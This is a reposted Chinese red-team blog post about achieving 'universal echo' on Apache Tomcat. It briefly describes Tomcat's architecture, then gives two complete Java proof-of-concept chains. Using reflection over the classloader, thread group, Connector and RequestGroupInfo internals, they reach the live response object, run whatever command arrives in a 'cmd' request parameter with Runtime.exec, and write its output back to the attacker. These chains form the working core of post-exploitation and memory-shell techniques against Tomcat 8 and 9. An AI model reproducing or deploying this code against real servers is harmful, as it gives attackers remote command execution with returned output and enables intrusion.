tomcat通用回显

渗透技巧 1年前 (2023) admin
210 0 0

Tomcat架构简析

tomcat的架构图tomcat通用回显

Server:整个tomcat启动的时候只有一个server

Service:一个server中包含了多个service,表示服务

Container:容器,可以看作是一个servlet容器,包含一些Engine,Host,Context,Wraper等,访问的路径什么的就存放在这里

  • Engine — 引擎
  • Host — 主机
  • Context — 上下文(也就是应用程序)
  • Wrapper — 包装器

Connector:连接器,将service和container连接起来,作用就是把来自客户端的请求转发到container容器

Connector内部的组件:

  • Endpoint-用于网络监听
  • Processor-用于协议解析处理
  • Adapter-用于转换,解耦connector和container

ProtocolHandler类

一个Connector中特别主要的一个类,把Endpoint和Processor,Adapter封装到了一起

tomcat通用回显

通过Endpoint的监听功能监听到请求,发送给Processor做协议的处理,将封装的数据传递给Adapter,作为一个于servlet的桥梁

简单点说就是将用户的请求做一个处理,处理一些协议

ServletContext类

每个Web应用都对应一个ServletContext,通过它可以访问到具体的serlvet,主要作为一个应用程序与容器进行交互

一个完整的http请求

假设来自客户的请求为:http://localhost:8080/test/index.jsp 请求被发送到本机端口8080,被在那里侦听的Connector组件捕获:

  • Connector把该请求交给它所在的Service的Engine来处理,并等待Engine的回应
  • Engine获得请求localhost:8080/test/index.jsp,匹配它所有虚拟主机Host
  • Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机)
  • localhost Host获得请求/test/index.jsp,匹配它所拥有的所有Context
  • Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为””的Context去处理)
  • path=”/test”的Context获得请求/index.jsp,在它的mapping table中寻找对应的servlet
  • Context匹配到URL PATTERN为*.jsp的servlet,对应于JspServlet类,构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet或doPost方法
  • Context把执行完了之后的HttpServletResponse对象返回给Host
  • Host把HttpServletResponse对象返回给Engine
  • Engine把HttpServletResponse对象返回给Connector
  • Connector把HttpServletResponse对象返回给客户browser

参考链接:

  • https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html
  • https://www.cnblogs.com/Brake/p/13195737.html
  • https://www.cnblogs.com/nice0e3/p/14622879.html#container

使用全局存储的方式实现回显

看一下Http11Processor类,继承了AbstractProcessor类

AbstractProcessor类是tomcat中用来处理http请求逻辑的类

至于他的子类Http11Processor,也是同样的,用来处理http/1.1的具体逻辑

这里关注一下AbstractProcessor中的几个属性tomcat通用回显

protected final Request request;
protected final Response response;

两个属性都是final的,赋值玩一次就不能改了

这里的request和response都隶属于org.apache.coyote包下面,但是回显的话需要org.apache.catalina.connector.Request这个类

在学习tomcat的时候,我们接触的一般都是HttpServletRequest(接口),HttpServletRequest有一个实现类也叫Request

这两个Request有啥区别:

  • org.apache.catalina.connector.Request主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息
  • org.apache.coyote.Request主要用于底层网络请求的处理和解析。

org.apache.coyote.Request 类中有一个方法返回org.apache.catalina.connector.Request

tomcat通用回显

也就是只要获取到了Http11Processor或者AbstractProcessor即可以获取org.apache.catalina.connector.Request

在AbstractProtocol$ConnectionHandler类中就存储了Http11Processor这个类tomcat通用回显

进入this.register(processor)

tomcat通用回显

看一下RequestInfo rp = processor.getRequest().getRequestProcessor();具体做了什么

getRequest

tomcat通用回显

返回org.apache.coyote.Request对象

getRequestProcessor

tomcat通用回显

这里返回了一个RequestInfo,这个类主要用于收集一些请求相关的数据

继续进入rp.setGlobalProcessor(this.global);

this.global是啥呢

private final RequestGroupInfo global = new RequestGroupInfo();

可以看见是一个RequestGroupInfo对象,这个对象就是用一个list来包含RequestInfo

tomcat通用回显

进入global.addRequestProcessor(this);

调用RequestGroupInfo对象的addRequestProcessor方法,把RequestInfo当作对象传进去

tomcat通用回显

添加到list中去

然后现在的问题就是在哪里存储了AbstractProtocol或者子类了

在CoyoteAdapter中的connector属性中,存在一个protocolHandler字段tomcat通用回显

ProtocolHandler是一个接口

AbstractProtocol也实现了ProtocolHandler接口

那么随便找一个http11相关的类就行了

tomcat通用回显

所以现在一部分的链子是这样的:

connector
AbstractProtocol$ConnectoinHandler
RequestGroupInfo(global)
RequestInfo
Request
Response

然后问题就变成了寻找Connector

在Tomcat类中,setConnector方法通过org.apache.catalina.core.StandardService#addConnector存放在connectors

最后一步就是如何获取StandardService

这里根据网上的解释应该是通过设置对应的加载器来达到获取StandardService 的目的

上面粗略的流程构对应的Poc

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
            
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);
            
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
            
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
            
            for (Class<?> declaredClass : declaredClasses) {

                if (declaredClass.getName().length()==52){
                    
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);
                    
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);

                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);

                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
                        
                        org.apache.catalina.connector.Response response = request1.getResponse();

                        String cmd = request1.getParameter("cmd");
                        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                        BufferedInputStream bis = new BufferedInputStream(is);
                        int len;
                        while ((len = bis.read())!=-1){
                            response.getWriter().write(len);
                        }
                    }
                }
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }

测试环境: jdk8,tomcat8

tomcat通用回显

这里涉及到tomcat的版本问题,在webappClassLoaderBase.getResources()方法中,我这里的8.5.89的代码如下:tomcat通用回显

所以没办法只能换一个版本,我这里直接用的9.0.1,在看getResources()tomcat通用回显

再看运行状况,这次就可以了tomcat通用回显

为什么获取standardContext这么复杂,因为standardContext在tomcat启动的时候与项目部署的应用程序对应,一个standardContext对应一个web应用程序

tomcat通用回显

而利用线程获取的类加载器获取的standardContext对象中的数据如下tomcat通用回显

接下去的poc就是一步一步的获取到底层处理http请求的org.apache.catalina.connector.Request进而获取Response来回显数据了

寻找standardContext

前面的方式只能在限定版本中使用,下面找一下其他的方式来实现回显

查阅一些文章之后发现可以通过线程组来获取standardContext

Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");

看一下这个数组里面具体有哪些

tomcat通用回显

然后确定一下那些线程是可以用的

  • http-nio-8082-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理
  • http-nio-8082-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑
  • http-nio-8082-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理

在Processor这个组件,在上面的图上的作用是来处理http请求的,并且standardContext和Processor有一定的关系,当Tomcat接收到HTTP请求时,Processor首先会接收并解析请求,然后根据请求的URL路径等信息,将请求传递给适当的StandardContext。

和Processor有关的两个线程http-nio-8082-Polle http-nio-8082-Acceptor

看一下Poller这个类,是NioEndpoint的内部类,实现了Runnable接口tomcat通用回显

整体的代码

package v1f18;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.*;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;

@WebServlet("/h")
public class hello extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        
        try {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            Object obj;
            String uri;
            String serverName;
            StandardContext standardContext = null;
            for (Thread thread: threads
                 ) {
                if (thread==null || thread.getName().contains("exec")){
                    continue;
                }
                Object target = this.getField(thread, "target");
        //判断一下target是否为Runnable的实现类
                if (!(target instanceof Runnable)){
                    continue;
                }
                try {

                obj = this.getField(this.getField(this.getField(target, "this$0"), "handler"), "global");
                }catch (Exception e){
                    continue;
                }
                if (obj == null){
                    continue;
                }
                ArrayList processors = (ArrayList)this.getField(obj, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    org.apache.coyote.Request req = (org.apache.coyote.Request) getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){continue;}
                    // 等于-1的时候表示这个请求无效
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    serverName = (String) getField(serverNameMB, "strValue");
                    if (serverName == null){
                        serverName = serverNameMB.toString();
                    }
                    if (serverName == null){
                        serverName = serverNameMB.getString();
                    }

                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                    uri = (String) getField(uriMB, "strValue");
                    if (uri == null){
                        uri = uriMB.toString();
                    }
                    if (uri == null){
                        uri = uriMB.getString();
                    }

                    standardContext = this.getStandardContext(uri, serverName);

                }
            }

            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

               String cmd = request2.getParameter("cmd");
                Process exec = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = exec.getInputStream();
                int len;
                while ((len = inputStream.read())!=-1){
                    response1.getWriter().write(len);
                }

            }

        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {
            e.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public StandardContext getStandardContext(String uri,String serverName) throws Exception {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = this.getField(thread, "target");
                HashMap children;
                Object endPoint = null;
                try {
                    endPoint = getField(thread, "this$0");

                } catch (Exception e) {

                }
                if (endPoint == null) {
                    try {
                        endPoint = this.getField(target, "endpoint");
                    } catch (Exception e) {
                        return null;
                    }
                }
                Object service = getField(getField(getField(getField(getField(endPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                } catch (Exception e) {
                }
                if (engine == null) {
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);
          if (standardHost == null){
                    for (Object key: children.keySet()){
                        Object o = children.get(key);
                        if (o.getClass().equals(StandardHost.class)){
                            standardHost = (StandardHost) o;
                        }else {
                            throw new RuntimeException();
                        }
                    }
                }
                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(uri.startsWith(contextKey))) {
                        continue;
                    }
                    StandardContext s = (StandardContext) children.get(contextKey);
                    return s;

                }
            }
        }
        return  null;
    }

    private Object getField(Object obj, String fieldName) throws Exception{
        Class<?> objclass = obj.getClass();
        while (objclass != obj){
            try {
                Field declaredField = objclass.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(obj);

            }catch (Exception e){
            }
            objclass = objclass.getSuperclass();
        }
        return null;

    }
}

这里修改了一下参考的poc,在请求为localhost的时候是正常运行的,但是一旦用外网ip来访问,或者使用域名的话,就会报空指针异常,所以修改了一下代码

我这里测试了8和9的tomcat,7版本需要改一些东西

tomcat通用回显
tomcat通用回显
tomcat通用回显
tomcat通用回显

参考:

https://exp10it.cn/2022/11/tomcat-filter-型内存马分析/#编写内存马

http://wjlshare.com/archives/1529

https://xz.aliyun.com/t/9914

https://cloud.tencent.com/developer/article/2005599

https://sumsec.me/2021/Tomcat通用回显学习笔记.html

加下方wx,拉你一起进群学习

tomcat通用回显

原文始发于微信公众号(红队蓝军):tomcat通用回显

版权声明:admin 发表于 2023年8月4日 下午3:01。
转载请注明:tomcat通用回显 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...